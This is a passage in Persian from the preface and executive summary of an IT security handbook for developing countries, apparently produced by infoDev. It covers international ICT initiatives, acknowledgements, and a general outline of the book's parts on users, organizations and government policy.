یکی از نتایج این گزارش ایجاد *کمیتهٔ اجرایی ICT دبیر کل سازمان ملل*[4] بود و از دیگر نتایج آن می‌توان به تشکیل مؤسسهٔ *پیشگامان فرصتهای دیجیتال بین‌المللی*[5] با استفاده از اعتبار *UNDP*[6]، *بنیاد آکسنچر*[7] و *بنیاد مارکل*[8] اشاره کرد. همچنین درحال حاضر مؤسسات دومنظوره در طرحهای توسعه‌ای خود توجه روزافزونی به فناوری اطلاعات و ارتباطات نشان می‌دهند. پس از آن ITU و UNESCO نیز طرحهایی را برای برگزاری دو اجلاس جهانی با نامهای *اجلاس جهانی سران جامعهٔ اطلاعاتی* (WSIS)[9] در ژنو (دسامبر ۲۰۰۳) و تونس (آوریل ۲۰۰۵) ارائه کردند.

فناوری اطلاعات و ارتباطات می‌تواند به شکل غیرمستقیم بسیاری از فعالیتها را در دستیابی به *اهداف توسعه‌ای هزاره* (MDG)[10] پشتیبانی کند. سیاستهای اصلی تأمین امنیت فناوری اطلاعات و پیاده‌سازی آنها در یک کشور باعث تقویت جریان سرمایه‌گذاری مستقیم خارجی در آن کشور خواهد شد و این سرمایه‌گذاریها به فراهم شدن اعتبار برای تأمین امنیت بسیاری از زیرساختهای اقتصادی می‌انجامد.

حال این سؤال پیش می‌آید که چرا به این کتاب که در وهلهٔ اول برای خوانندگانی در کشورهای درحال توسعه نگاشته شده نیاز است. در پاسخ به این پرسش باید گفت که اصول امنیتی همواره یکسانند؛ مستقل از اینکه شما در یک کشور توسعه‌یافته، درحال توسعه یا توسعه‌نیافته باشید؛ چراکه فناوریها و تهدیدات مربوط به آنها ممکن است از هر گوشهٔ جهان ظاهر شوند. البته راههای گوناگونی برای ایمن کردن رایانه‌ها و شبکه‌ها وجود دارد که بی‌تردید در کشورهای درحال توسعه همیشه در دسترس و ارزان نیستند.

1 *James Wolfensohn*
2 *Digital Opportunity Taskforce Group*
3 *Genoa Plan of Action*

4 *U.N. Secretary General's ICT Task Force*
5 *Global Digital Opportunities Initiative*
6 *United Nations Development Program*
7 *Accenture Foundation*
8 *Markle Foundation*
9 *World Summit on Information Society*
10 *Millennium Development Goals*

ابتدا ذکر این نکته مهم است که کاربران و راهبران رایانه در کشورهای توسعه‌یافته دسترسی بسیار زیادی به اطلاعات کاربردی و تکنیکی دارند که می‌تواند در زمینه‌های مختلف کاری به آنها کمک نماید. برای مثال کتابفروشی‌ها و کتابخانه‌های زیادی وجود دارند که از رایانه استفاده می‌کنند و لذا درخواست کمک از افراد هم‌صنف دیگر به راحتی امکانپذیر می‌باشد. زمانی که یک رایانه یا شبکه دچار اشکال می‌شود، مجموعه‌ای غنی از کانالهای اطلاعاتی وجود دارد که اخبار و اطلاعات امنیتی از طریق آنها ارسال می‌گردد. سازمانهایی که از رایانه‌ها و شبکه‌ها استفاده می‌کنند دارای *مراکز کمک‌رسانی*[11] هستند که توسط متخصصین فنی اداره می‌شوند و قادر به جلوگیری از کاربرد سوء منابع سازمانی و تأمین حفاظت آنها می‌باشند.

کاربران و راهبران فنی در کشورهای درحال توسعه معمولاً فاقد توانایی ارائه این سطح از پشتیبانی هستند. تعداد کاربران اندک است و به هشدارها و راه‌حلهای ارائه‌شده نیز توجه نمی‌شود. سازمانهایی که از رایانه استفاده می‌کنند غالباً دارای بخش ستادی کوچکی هستند و لذا توانایی نظارت بر منابع فنی داخلی خود را ندارند. بسیاری از اوقات این عدم توجه و ناتوانی به دلیل عدم وجود اطلاعات و دانش کافی دربارهٔ سیستمهای رایانه‌ای و امنیت شبکه است، و گروههایی که اصول اساسی را درک کرده‌اند نیز معمولاً در فهم چگونگی سازگارسازی راهکارهای فنی با شرایط متغیر و غیرقابل پیش‌بینیِ این محیط مشکل دارند.

خدمات پس از فروش در گذشته بصورت نامحدود برای رایانه‌هایی که کم‌تعداد و گرانقیمت بودند درنظر گرفته می‌شد؛ اما درحال حاضر با توجه به حجم انبوه رایانه‌ها در بازار نمی‌توان بسادگی چنین خدماتی را ارائه کرد. فروشگاهها و مراکز خدمات تعمیرات رایانه معمولاً از مشکلاتی که در سایر نقاط دنیا بوجود می‌آیند مطلع نیستند و درنتیجه کاربران و راهبران به قربانیان توسعهٔ اطلاعات مربوط به امنیت فناوری تبدیل می‌شوند.

نقص امنیتی شبکه در همهٔ کشورها اتفاق می‌افتد و حتی ممکن است موجب تحت فشار قرار گرفتن دولتها نیز بگردد. معمولاً بسیاری از این نقصها گزارش نمی‌شوند؛ چراکه اطلاع عموم مردم از آنها می‌تواند نتایج نامطلوبی به بار آورد. دولتها و سازمانهای موجود در کشورهای توسعه‌یافته عموماً توانایی مقابله با چنین نقصهایی را دارند، ولی نتایج ناشی از بروز نقصها و اشکالات امنیتی در کشورهای درحال توسعه می‌تواند بسیار وخیم‌تر از کشورهای توسعه‌یافته باشد. در کنار همهٔ این موارد، بازارها، سازمانها و دولتهای کشورهای درحال توسعه به دلیل عدم توجه به عواقب ناشی از نفوذهای رایانه‌ای در حجم وسیع، عدم توانایی تحلیل ضررهای مالی ناشی از این حملات، و نیز نداشتن تخمین مناسب از زمان لازم برای ترمیم خسارات وارده (البته اگر این خسارات قابل ترمیم باشند) تمایل چندانی به رفع نقایص امنیتی ندارند.

کشورهای درحال توسعه باید تأمین امنیت را بعنوان اولویت اصلی خود درنظر بگیرند، چراکه خطر فعالیتهای تبهکارانه بیشتر متوجه مکانهایی است که از کنترل کافی برخوردار نبوده و ناامن هستند. تجارت الکترونیکی در کشورهایی که امنیت فناوری اطلاعات در آنها کمتر تأمین شده اهداف جذاب‌تری برای حمله هستند. کدام سازمان کوچک یا متوسط است که علیرغم به سرقت رفتن اطلاعات محرمانهٔ مشتریان، فایلهای تجاری و یا دستکاری شدن اطلاعات کلیدی سازمان همچنان بتواند پابرجا بماند؟ کشورهای درحال توسعه باید ظرفیت منابع انسانیِ آموزش‌دیده و زیرساختهای فناوری خود را بهبود بخشند تا اهداف آسانی برای حملهٔ تبهکاران فضای رایانه‌ای نباشند. در این کتاب بحثهای بسیاری دربارهٔ ماهیت موضوع امنیت مطرح شده است؛ چراکه در مورد نیاز به تأمین امنیت دیدگاه‌های متفاوتی وجود دارد. افرادی که در مورد داده‌ها نگرانی دارند به این مسئله بعنوان یک موضوع در حوزهٔ امنیت اطلاعات می‌نگرند؛ کسانیکه با مکانیزمهای فنیِ ذخیره و ارسال اطلاعات سر و کار دارند این مبحث را از دید امنیت سیستم و شبکه می‌بینند؛ حال آنکه دیگرانی که به تجارت مشغول هستند به آن بعنوان یک حوزهٔ جدید در تجارت و عموماً تحت عنوان امنیت الکترونیکی نگاه می‌کنند.

با توجه به این مسائل ما ترجیح داده‌ایم تمام مباحثی که در مقوله "امنیت فناوری اطلاعات" می‌گنجد را ارائه کنیم و از این طریق به تمامی مکانیزمهای ذخیره و پردازش و ارسال اطلاعات، سخت‌افزار، نرم‌افزار، و تسهیل ارتباطات، با یک نگاه ویژه به مسئله امنیت خود اطلاعات بپردازیم. این مسئله

11 *Help Centers*

حائز اهمیت است که هم اطلاعات و هم مکانیزمهای پردازش آن باید از سوء استفاده مصون باشند.

ما تعمداً در این کتاب توجه خود را به رایانه‌ها، نرم‌افزارها و شبکه‌ها محدود کرده‌ایم؛ چراکه منابع غنی و متعددی برای آگاهی از جزئیات مسائل دیگر نظیر تلفن ثابت و همراه که در ارتباط تنگاتنگ با این مسائل هستند و در اینجا به آنها پرداخته نشده وجود دارد. با نزدیکتر شدن فناوریهای تلفنی و رایانه‌ای به یکدیگر، چنین مسائلی نیز اهمیت بیشتری پیدا می‌کنند. با پیدایش Voice over IP و ENUM، پروتکلهای تلفن دیجیتالی نیز کاربرد روزافزونی می‌یابند و با پیدایش فناوریهای 3G بتدریج به مسائلی چون امنیت در آنها نیز باید توجه کرد.

این کتاب به نحوی تدوین شده که در کشورهای درحال توسعه نیز با هزینه‌ای اندک در دسترس باشد. هدف از انتشار این کتاب این نیست که به تیراژ بالایی از آن دست یابیم، بلکه بنا بر این است که مفاد کتاب در یک پایگاه وب جهانی ارائه گردد که از دو لحاظ پویا باشد: اول اینکه مطالب آن تا حد امکان به‌روزرسانی‌شده باشد، و دوم اینکه اطلاعات مفید و مناسبی به خوانندگانی که بدنبال کسب اطلاعاتی دربارهٔ امنیت فناوری اطلاعات هستند ارائه کند.

مطالب این کتاب به پنج بخش مختلف تقسیم شده که هریک مناسب گروه خاصی از خوانندگان هستند. لازم به ذکر است که در بخشهای مختلف کتاب گاهی می‌توان مطالب مشترک و تکراری پیدا کرد، چراکه با اینکار بسیاری از خوانندگان می‌توانند تنها بخشی از کتاب را برای خواندن انتخاب کنند که به کار آنها می‌آید. بعضی بخشها – خصوصاً آنهایی که به تشریح امنیت و کاربران رایانه‌ای می‌پردازند – را می‌توان بطور مستقل منتشر و میان کاربرانی که به آنها نیاز دارند توزیع نمود.

در تهیه و تدوین این کتاب ناچار به ایجاد توازن میان اصول کلی، نمونه‌های ویژه، و اطلاعات عملی بوده‌ایم و امیدواریم که توازن ایجادشده از تناسب لازم برخوردار باشد. اگرچه با پیشرفت و تکامل فناوری، جزئیات فنی نیز تغییر خواهند کرد، اما این اصول همواره ثابت خواهند بود و خوانندگان از نظر سیاست و مدیریت و همچنین از نظر فنی قادر به فهم آسان آنها می‌باشند. اگر این اصول بدقت درک شوند آنگاه راه‌حلهای فنی بسادگی در دسترس قرار خواهند گرفت.

خواننده باید توجه داشته باشد که مؤلفین برای مقولهٔ امنیت و رایانه از اصطلاحات مختلفی استفاده کرده‌اند. بطور کلی مقولهٔ امنیت فناوری اطلاعات به موضوعات زیر اشاره دارد:

۱) **امنیت رایانه:** امنیت از نظر فنی در ماشینها، نرم‌افزار، داده‌ها و شبکه‌ها. از این اصطلاح بیشتر در بخشهای دوم و پنجم استفاده شده که بیشتر بر روی ابعاد فیزیکی، زیرساختی و فنی امنیت فناوری تأکید دارند.

۲) **امنیت سایبر[12]:** امنیت فناوری اطلاعات وابسته به سیاست دولتها. این اصطلاح عموماً توسط مؤسسات دولتی و سیاستگذاران ملی در اسناد، قوانین و پروژه‌های تحقیقاتی استفاده می‌شود و کمابیش مترادف با "امنیت اینترنت" است (اصطلاحی که در این کتاب به آن اشاره‌ای نشده، اما گاهی اوقات در مراجع دیگر به چشم می‌خورد). هر دو عبارت به جوانب امنیت شبکه و اصول سیاستگذاری شبکه‌ها مثل تعریف حریم خصوصی، جرائم سایبر، تجارت و ارتباطات جهانی اشاره دارند. تفاوت این دو اصطلاح چندان زیاد نیست؛ بلکه همانطور که در بسیاری از فصلهای این کتاب می‌توان دید، امنیت رایانه‌ها، شبکه‌ها و داده‌ها تا حد زیادی با مفاهیم روزمرهٔ امنیت در فضای سایبر به هم گره خورده‌اند.

در دنیای سریع و درحال پیشرفت امروز، تدوین کتاب راهنما در معرض این خطر است که اندکی پس از انتشار از رده خارج و قدیمی شود. برای به‌روز نگهداشتن محتویات این کتاب تمامی بخشهای آن در یک پایگاه وب به آدرس *www.infodev-security.net* موجود هستند تا هریک را بتوان در آینده به روزرسانی نمود. خوانندگانی که مایل به اضافه کردن مطالب مفید در به‌روزرسانی پایگاه وب باشند می‌توانند پیشنهادات خود را به آدرس الکترونیکی contact@infodev-security.net ارسال نمایند.

تدوین این کتاب بدون حمایت تعدادی از افراد و مؤسسات ویژه و مهم هیچگاه ممکن نبود، از جمله *سیمسون گارفینکل*[13]، که راهنماییهای مهمی در تدوین ساختار اولیهٔ این کتاب نمود و پس از آن در شناسایی و هماهنگ‌سازی قسمتی از تیم تهیه‌کنندگان کتاب کمک کرد. انتشار این

12 *Cyber-Security*
13 *Simson Garfinkel*

کتاب راهنما بدون راهنمایی و کمک او میسر نمی‌شد. *برونو لنوین*[۱۴]، مدیر infoDev که اعتبارات زیادی برای تفهیم مناسبت و قدرت خلق اطلاعات و توزیع آن در زمینهٔ فناوری اطلاعات و ارتباطات اختصاص داد؛ همچنین *ژاکلین دوبو*[۱۵]، *الی الوی*[۱۶]، *تری ناکازل*[۱۷] و *هریری برتادو*[۱۸] که همگی از مدیران infoDev هستند. از تیم اوریلی که با پشتیبانی شرکت خود به نام *اوریلی و شرکا*[۱۹] دو کتاب زیر را منتشر کردند نیز تشکر می‌کنیم: *امنیت اینترنت و کاربرد یونیکس*[۲۰]، ویرایش سوم (سیمسون گارفینکل، *ژن اسپافورد*[۲۱] و *آلن شوارتز*[۲۲]، چاپ ۲۰۰۳) و *امنیت وب، محرمانگی و تجارت*[۲۳] (سیمسون گارفینکل و ژن اسپافورد، چاپ ۲۰۰۲). این کتابها برای تکمیل بخشهای مهمی از این کتاب راهنما مورد استفاده قرار گرفته‌اند و چند بخش آنها نیز با کسب مجوز از نویسندگان و ناشران برای چاپ مجدد در این کتاب راهنما بکار رفته‌اند.

علاوه بر اینها شرکت اوریلی و شرکا در ده سال اخیر دهها هزار عنوان از کتابهای فنی خود را در اختیار مردم کشورهای درحال توسعه قرار داده است. خوانندگانی که وضعیت کتابها و دسترسی به مطالب منتشر شده در جهان درحال توسعه را دیده‌اند می‌دانند که مشارکت اورلی در سیر توانمندی علمی این کشورها جهت آشنایی، پخش و بهره‌برداری از اینترنت و لذا کاهش شکاف دیجیتالی چقدر مؤثر و حائز اهمیت بوده است.

بر خود لازم می‌دانیم از گردآورندگان کتابهای فوق‌الذکر برای کمک شایسته و مشتاقانه جهت استفاده از مطالب کتابهایشان در بخشهایی از این کتاب راهنما به گرمی تشکر کنیم. شور و اشتیاق آنان برای کمک به انتشار این کتاب راهنما بهترین نمونهٔ همکاری تخصصی و به‌اشتراک‌گذاری اطلاعات در تمدن نوینِ اینترنتیِ امروز است.

در اینجا لازم می‌دانیم از *تام کلرمن*[۲۴]، *متخصص ارشد مدیریت مخاطرهٔ داده‌ها*[۲۵] در *تیم امنیت خزانهٔ بخش سیاست عملیاتی بانک جهانی*[۲۶] نیز تشکر نماییم. نوشته‌های وی در مورد *خدمات مالی الکترونیکی*[۲۷]، *تهدیدات چندوجهی*[۲۸] و *مدیریت خطر سیار*[۲۹] در بخش سوم این کتاب مورد استفاده قرار گرفته‌اند.

ماکس اشنلمن[۳۰] نمایندهٔ سوئیس در کمیتهٔ توسعهٔ اطلاعات در اجلاس چانگ *کین*[۳۱] چین در سال ۲۰۰۲ نیز یکی از اولین کسانی بود که اهمیت و فایدهٔ دستنامهٔ امنیت فناوری اطلاعات در کشورهای درحال توسعه را تشخیص داد و پشتیبانیها و توصیه‌های او بود که به حمایت دولت سوئیس از infoDev برای انتشار این کتاب انجامید و ما در اینجا این پشتیبانی وی را مورد تقدیر قرار می‌دهیم.

مایکل مکلی[۳۲] نیز گروهی از متخصصین فعال را برای تدوین مطالب این کتاب تشکیل داد و همین افراد بودند که پیشنهادات ارزشمندی برای افزایش دقت و تناسب نسخهٔ نهایی این کتاب ارائه کردند؛ و ما در اینجا از راهنماییهای سازندهٔ ایشان تشکر می‌کنیم؛ و همچنین مراتب تشکر و امتنان خود را به تمامی دست‌اندکاران و افرادی که به روند چاپ این کتاب کمک کردند اعلام می‌نماییم.

این کتاب نه مرجعی آموزشی برای سیستم‌عاملهای Unix، Windows یا Macintosh است و نه مرجعی برای آموزش راهبری سیستم؛ بلکه باید در کنار راهنماهای راهبری این سیستمها مورد استفاده قرار گیرد.

مدیریت تغییرات وسیع در سیستمهای رایانه‌ای ممکن است پشتیبانی از آنها را دچار مشکل کند، حتی اگر این تغییرات برای ارتقای سطح امنیت لازم باشند. برای راحتی خوانندگان به منابع اینترنتی بسیاری اشاره کرده‌ایم، ولی اگر خوانندگان از برنامه‌ها و *وصله‌های*[۳۳] پیشنهادی موجود اینترنت استفاده می‌کنند باید جانب احتیاط را رعایت کنند؛ چراکه ممکن است بعد از ایجاد تغییرات در *هسته*[۳۴]، معماری و یا دستورات سیستمها، ارزیابیِ تأثیرات امنیتیِ آنها در سطح کلان بسادگی

14 *Bruno Lanvin*
15 *Jacquelin Dubow*
16 *Ellie Alavi*
17 *Teri Nachazel*
18 *Heriri Bretadeau*
19 *O'Reilly & Associates*
20 *Practical Unix and Internet Security 3rd Edition*
21 *Gene Spafford*
22 *Alan Schwartz*
23 *Web Security, Privacy & Commerce*
24 *Tom Kellermann*

25 *Senior Data Risk Management Specialist*
26 *Integrator Group and Treasury Security Team of the Operations Policy Department*
27 *E-Finance*
28 *Blended Threats*
29 *Mobile Risk Management*
30 *Max Schnellmann*
31 *Chongqing*
32 *Michel Maechley*
33 *Patches*
34 *Kernel*

میسر نباشد. اگر راه‌حلها و برنامه‌های فروشنده‌های مختلف بطور عادی پیاده‌سازی یا نصب شوند ممکن است در درازمدت سطح کلی امنیت تضعیف گردد؛ پس باید به سازگاری تجهیزات سیستم و کیفیت و اشتهار شرکتهایی که خدمات فنی و مشاوره‌ای ارائه می‌دهند نیز توجه کرد.

امیدواریم کتاب حاضر درک این موارد را برای شما آسان‌تر کند و مطمئن هستیم که خوانندگان نیز به بهبود کیفی محتویات آن در آینده کمک خواهند کرد.

خلاصه اجرایی

راهنمای امنیت فناوری اطلاعات، راهنمایی کاربردی جهت فهم و اجرای گامهای دستیابی به امنیت در کاربردهای حوزهٔ فناوری اطلاعات در منزل و محل کار شما است. گرچه این کتاب بهترین و نوین‌ترین راهکارها را در زمینهٔ فناوری اطلاعات ارائه می‌دهد، اما در اصل برای خوانندگان کشورهای درحال توسعه نوشته شده است. این کتاب علاوه بر ارائه خلاصه‌ای از تهدیدات فیزیکی و الکترونیکیِ موجود در حوزهٔ امنیت فناوری اطلاعات، به راهکارهای مدیریتی، محیطهای ضابطه‌مند و الگوهای مشارکت سازمانهای همکار می‌پردازد که درحال حاضر در بازارها، دولتها، مؤسسات حرفه‌ای و سازمانهای بین‌المللی وجود دارند. این کتاب از پنج بخش تشکیل شده که هریک را می‌توان بصورت مستقل از دیگری مطالعه کرد.

این خلاصهٔ اجرایی موضوعات اصلی کتاب را پوشش داده و در قسمتی با عنوان "گزیده‌هایی از کتاب" تصویری کلی از هر بخش را ارائه می‌کند.

سازگارسازی فناوری اطلاعات و ارتباطات در حال افزایش است

این کتاب در ابتدا مروری بر رشد بخش فناوری اطلاعات و ارتباطات (ICT) دارد. این رشد و ارتقا کاربران عادی ICT را در بر می‌گیرد و از افزایش تعداد شبکه‌های خانگی و رشد سازمانهای کوچک و متوسط (SMEs)[1] – که برای پشتیبانی از بازارهایی که به شدت به توسعهٔ فناوری و بکارگیری آن در سراسر جهان وابسته‌اند متکی به منابع رایانه‌ای می‌باشند – می‌توان به آن پی برد.

اطلاعات موجود از سوابق فعالیتهای تأمین امنیت فناوری اطلاعات

از آنجا که توسعهٔ بازار محصولات و خدمات فناوری در دو سطح فردی و سازمانی چشمگیر است، اطلاع از مباحث امنیت فناوری اطلاعات بسیار مفید و مهم می‌باشد. ممکن است کاربران فردی در مورد خطراتی که هنگام استفاده از اینترنت متوجه آنها است مطلع نباشند. اگر کاربران خطرات شبکه‌های حفاظت‌نشده را تشخیص دهند، باز هم ممکن است یادگیری در مورد *دیواره‌های آتش*[2]، *ویروس‌یابها*[3]، *رمزگذاری*[4] و نگهداری قاعده‌مند از اطلاعات را به دلیل هزینه و وقتی که از آنها می‌گیرد و تغییری که در رفتار رایانه‌ای آنها ایجاد می‌کند به تعویق بیاندازند. علاوه بر این سازمانهای کوچک و متوسط ممکن است از یک راه‌حل فنی نظیر دیوارهٔ آتش استفاده نمایند و به طبقه‌بندی سطوح امنیت توجهی نداشته باشند و ندانند که بدون توجه به آن، امنیت سیستم به شدت دچار مخاطره است. همچنین ممکن است به دلایل مختلف ایمن ساختن سیستمهای خود را به تأخیر بیاندازند و در تدوین سیاستهای شفاف امنیتی برای کاربران و مدیران نیز کوتاهی کنند. اگر ارتباطات، آگاهی و آموزش مناسب در سازمان وجود نداشته باشد، تبهکاران ممکن است به آسانی حفاظهای فنی را پشت سر بگذارند.

فناوری در یک محیط متغیر: دستگاههای سیار، نرم‌افزارهای رایج کاربردی، و تهدیداتی که موجب ایجاد پیچیدگی می‌شوند

در حال حاضر کاربران جدید و غیرمتخصص تنها علت نقض امنیت فناوری اطلاعات نیستند. محیط فناوری اطلاعات و ارتباطات با پیدایش محصولات جدید خصوصاً دستگاههای سیار (مانند رایانه‌های کیفی، تلفنهای همراه و *PDAها*[5]) که چالشهای متفاوتی را در زیرساخت و امنیت داده‌ها ایجاد می‌کنند بسرعت رو به تغییر می‌باشد. پیدایش برنامه‌های کاربردی رایانه‌ای برای سرمایه‌گذاری الکترونیکی و تجارت الکترونیک نیز موجب بروز پیچیدگیهایی در محیطهای شبکه‌ای شده‌اند.

از هنگام ظهور دستگاههای خودپرداز گرفته تا زمان رواج *بانکداری اینترنتی*[6]، این قابلیتها موجب صرفه‌جویی مناسب در هزینه‌ها می‌شوند، اما تهدیدات و خطرات بالقوه‌ای نیز به همراه دارند.

---

1 *Small and Medium Sized Enterprises*

2 *Firewall*
3 *Virus Scanner*
4 *Encryption*
5 *Personal Digital Assistants*
6 *Online Banking*

آنچه که اوضاع را بدتر می‌کند این است که اکنون نفوذگران قادر به توسعه و گسترش تهدیدات خود می‌باشند: مثل ترکیبی از *ویروسها*[7]، *کرمها*[8] و *تراواهایی*[9] که می‌توانند آسیبهای شدیدتری را به این سیستمها و داده‌ها وارد کند. این صدمات حتی می‌توانند از بعضی *نرم‌افزارهای مخرب* (بدافزارها)[10] نیز خطرناکتر باشند. از آنجا که تمامی این پیشرفتها کاربران فناوری را در سطح جهانی تحت تأثیر قرار می‌دهند، بهترین روشهای مقابله با تهدیدات ناشی از آنها تنها از طریق همکاری بین‌المللی حاصل می‌شود.

همکاری بین‌المللی و امنیت در کشورهای درحال توسعه

امنیت فناوری اطلاعات در کشورهای درحال توسعه از اهمیت شایانی برخوردار است. واضح است که اینترنت فرصتهایی طلایی برای تجارت و ارتباطات فراهم آورده که حدود ده سال قبل حتی تصور آنها مشکل بود. البته دسترسی به اینترنت همیشه هم ارزان نیست. اینترنت کاربران را قادر می‌سازد تا نگاهی به گسترهٔ وسیعی از موضوعات داشته باشند و با استفاده از آن ارتباط مردم از طریق پست الکترونیکی بسیار کارآمدتر از خدمات پستی سنتی شده است. اینترنت بر اصول تجارت بین‌المللی نیز تأثیر گذاشته است؛ بازارهای کشورهای درحال توسعه اکنون می‌توانند کالاهای خود را بصورت *برخط*[11] بفروشند. اگرچه هنوز تعداد رقبا در بازار بسیار زیاد است، اما مشتریان می‌توانند بسادگی تواناییها و محصولات شرکتهای رقیب را ببینند و برای انجام اینکار نیازی به اطلاعات وسیع در این زمینه ندارند. از آنجا که دسترسی به بازارهای آنسوی مرزهای جغرافیایی برای هر سیستم اقتصادی بسیار جذاب است، همکاری گسترده‌ای برای جا افتادن مدل یک نظام شبکه‌ای کارآمد و جهانی لازم است.

گزیده‌هایی از کتاب: امنیت فناوری اطلاعات و کشورهای در حال توسعه

گزیده‌هایی از بخش اول امنیت فناوری اطلاعات در عصر دیجیتال

بخش اول کتاب مقدمه‌ای بر مباحث کلی امنیت در عصر الکترونیک می‌باشد. مردم از گذشته تا کنون همیشه نگران مسائل امنیتی بوده‌اند، اما ابداع رایانه‌ها و شبکه‌ها روند کار را تغییر داده است. این بخش محدودهٔ موضوعات امنیت فناوری اطلاعات را ترسیم کرده و انواع متعددی از اعمال نامناسب در قبال رایانه‌ها و شبکه‌ها را توضیح می‌دهد و خطرات کار با آنها بدون انجام اقدامات مناسب امنیتی را معرفی می‌نماید.

بخش اول شامل موارد زیر است:

- انقلاب دیجیتال
- تعریف امنیت
- پیدایش و رشد اینترنت
- کلیات مسائل امنیتی
- مهاجمین به امنیت فناوری اطلاعات

آگاهی از موضوعات کلی امنیت فناوری اطلاعات مانند وجود و گسترش تهدیدات امنیتی خاص، به کاربران، مدیران و سیاستگذاران کمک خواهد کرد تا برای تقویت ایمنی شبکه‌های خود در منزل و یا محل کار در مقابل نقض حریمهای امنیتی از تدابیر مؤثر استفاده کنند.

گزیده‌هایی از بخش دوم امنیت فناوری اطلاعات و کاربران منفرد

بخش دوم کتاب به کاربرانی می‌پردازد که از منابع شبکه‌ای و رایانه‌ای برای اهداف متعدد در منزل و یا محل کار استفاده می‌کنند و البته برای سازمانهای کوچکی که قادر به تعیین دقیق سیاستهای امنیت فناوری اطلاعات و راهبری آن سیاستها در سطح سازمانی نیستند نیز مفید خواهد بود. این بخش به تشریح اصول اساسی امنیت برای کاربران پرداخته و در مورد فنونی که موجب کاهش تهدیدات امنیتی می‌شوند راهنماییهایی ارائه کرده است. برخی از موضوعات مذکور در بخش دوم عبارتند از:

- ضرورت امنیت رایانه و شبکه؛ تأثیر رخنه‌های امنیتی؛

---

7 *Viruses*
8 *Worms*
9 *Trojans*
10 *Malware (Malicious Software)*
11 *Online*

- امنیت فیزیکی، پشتیبانی از *تصدیق هویت*[۱۲] از طریق *شناسه‌های کاربری*[۱۳] و *رمزهای عبور*[۱۴]؛
- انواع نرم‌افزارهای مخرب و چگونگی گسترش آنها؛
- مبنای کار پست الکترونیکی و اینترنت و دلیل اینکه ابزاری برای انجام حملات رایانه‌ای هستند؛
- ابزارهای نرم‌افزاری شامل ویروس‌یابها، دیواره‌های آتش و *ابزارهای دسترسی از راه دور*[۱۵]؛
- مفاهیم پیشرفته‌تری چون ساختار شبکه‌های TCP/IP و رمزگذاری برای کاربران علاقه‌مند.

بخش دوم مسائل امنیتی و روشهای کاهش مخاطرات را از لحاظ فنی بطور کامل پوشش می‌دهد. این بخش از دیدگاه کاربران خانگی و بخش سوم از دیدگاه سازمانی به مسئله امنیت می‌نگرد.

گزیده‌هایی از بخش سوم
امنیت فناوری اطلاعات و سازمانها

بخش سوم این کتاب ابعاد سیاست و راهبری امنیت را از نگاه سازمانی بررسی می‌کند. اتخاذ سیاستهای امنیتی مناسب و اجرای صحیح آنها خطر از دست دادن ناگهانی اطلاعات را کاهش می‌دهد، ورود غیرمجاز به سیستم را بسیار مشکلتر می‌کند و ابزار امنیتی برای شناسایی حملات و اصلاح رخنه‌های امنیتی را فراهم می‌سازد. برای حفظ داده‌های محرمانه و کمک به یکپارچگی برنامه‌ها و داده‌های ذخیره‌شده و انتقال این داده‌ها از طریق شبکه، باید تلفیقی از سیاستگذاری و پیاده‌سازی آن انجام شود. این بخش اجزای مختلف سیاستهای امنیتی مؤثر برای سازمانهای مختلف مانند شرکتهای تجاری، دولتها، دانشگاهها و سازمانهای غیرانتفاعی را پوشش می‌دهد.

بخش سوم موضوعات زیر را بصورت دقیق مورد بررسی قرار می‌دهد:

- روش هشت رکنی برای تأمین امنیت که خصوصاً در محیطهای خدمات مالی و اعتباری ارزشمند هستند؛
- ارزیابی خطر امنیتی و تحلیل امنیت در یک شرکت نوعی؛
- سیاستها و رویه‌های پیشنهادی برای تدوین برنامه‌ها و طرحهای امنیتی؛
- نقش مدیریت در تأمین امنیت رایانه‌ها، شبکه‌ها و داده‌ها؛
- امنیت کارمندان شامل آموزش و آگاهی، فرآیند استخدام و استفاده از منابع امنیتی خارجی؛
- جرائم رایانه‌ای، گزارش وقایع و *ترمیم سوانح*[۱۶]؛
- تهدیدات امنیتی فناوریهای بی‌سیم برای شرکتها؛ و
- راهنماییهای ضمیمه و عواملی که به طراحی و پیاده‌سازی امنیت سازمانی مناسب کمک می‌کنند.

همچنین بخش سوم بر سیاستهایی که بطور مستقیم با عملیات تجاری، غیرانتفاعی و دولتی در دنیای شبکه‌ای در ارتباط هستند مروری کلی می‌کند و به مباحث متخصصین و گفتگوهای بین‌المللی بانک جهانی دربارهٔ امنیت فناوری اطلاعات می‌پردازد. بخش چهارم مباحث عمیق‌تری راجع به قوانین و سیاستهای کلی در دنیای سایبر مطرح می‌کند و این مسائل را در قالب جهانی بررسی می‌نماید.

گزیده‌هایی از بخش چهارم
امنیت فناوری اطلاعات و سیاستهای دولتی

بخش چهارم این کتاب عناوین امنیتی را بررسی می‌کند که فهم آنها در سطوح دولتی لازم است. یک دولت علاوه بر تأمین امنیت منابع اطلاعاتی خود، باید متعهد باشد که مجموعه سیاستهایی را برای ایمن‌ساختن اطلاعات زیرساختی ملی خود تنظیم کند. این سیاستها نقش مهمی در امنیت فناوری اطلاعات دارد، ولی با اینحال تناقضی نیز وجود خواهد داشت و آن اینکه چارچوب سیاست ملی باید قادر به افزایش سطح امنیت باشد، اما قوانین ضعیف دولتی بیش از آنکه سودی در پی داشته باشند، ضرر به بار خواهند آورد. فناوری بسرعت درحال تغییر است و تهدیدات رایانه‌ای جدید به دلیل همین تغییرات بوجود می‌آیند. در چنین وضعیتی از قوانین دولتی برای به دام انداختن جنایتکاران و جلوگیری از

12 *Authentication*
13 *Usernames*
14 *Passwords*
15 *Remote Access Tools*

16 *Disaster Recovery*

گسترش شیوه‌های نوین خلافکاری استفاده می‌شود. بنابراین دستیابی به توازنی مناسب میان معیارهای تقنینی و غیرتقنینی اهمیت بسزایی دارد. واضح است که سیاستهای امنیت سایبر دولت باید با توجه به ویژگیهای اجتماعی و فنی اینترنت تدوین شده باشند. در این زمینه دولتها می‌توانند بدون دخالت در مسائل فنی گامهای زیادی را برای ارتقای امنیت رایانه‌ای بردارند.

بخش چهارم حاوی موضوعات زیر است:

- شبکهٔ ارتباطی و دیگر زیرساختهای حیاتی که متعلق به بخش خصوصی بوده اما نظارت بر آنها با دولت است (تصویری از وابستگی متقابل دولت و بخش خصوصی)؛
- نقش کلی دولت و وظایف آن در ارتقای امنیت رایانه‌ای در بخشهای عمومی، خصوصی، و غیرانتفاعی؛
- قوانین جرائم رایانه‌ای که برای حفاظت از رایانه‌ها و شبکه‌های خصوصی و دولتی تدوین می‌شوند؛
- مفاهیم سنتی که به نحوی به قالب قوانین رایانه‌ای منتقل شده‌اند؛
